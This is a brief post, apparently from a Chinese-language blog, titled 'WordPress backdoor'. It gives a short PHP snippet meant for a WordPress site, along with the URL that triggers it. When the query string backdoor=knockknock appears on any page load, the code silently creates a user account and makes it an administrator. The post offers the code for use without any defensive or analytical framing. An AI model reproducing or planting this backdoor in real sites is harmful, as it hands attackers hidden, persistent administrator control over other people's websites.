php Wordpress后门

Posted 2021-05-05

add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('name', 'pass');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}
?>


// http://www.yourdomain.com/?backdoor=knockknock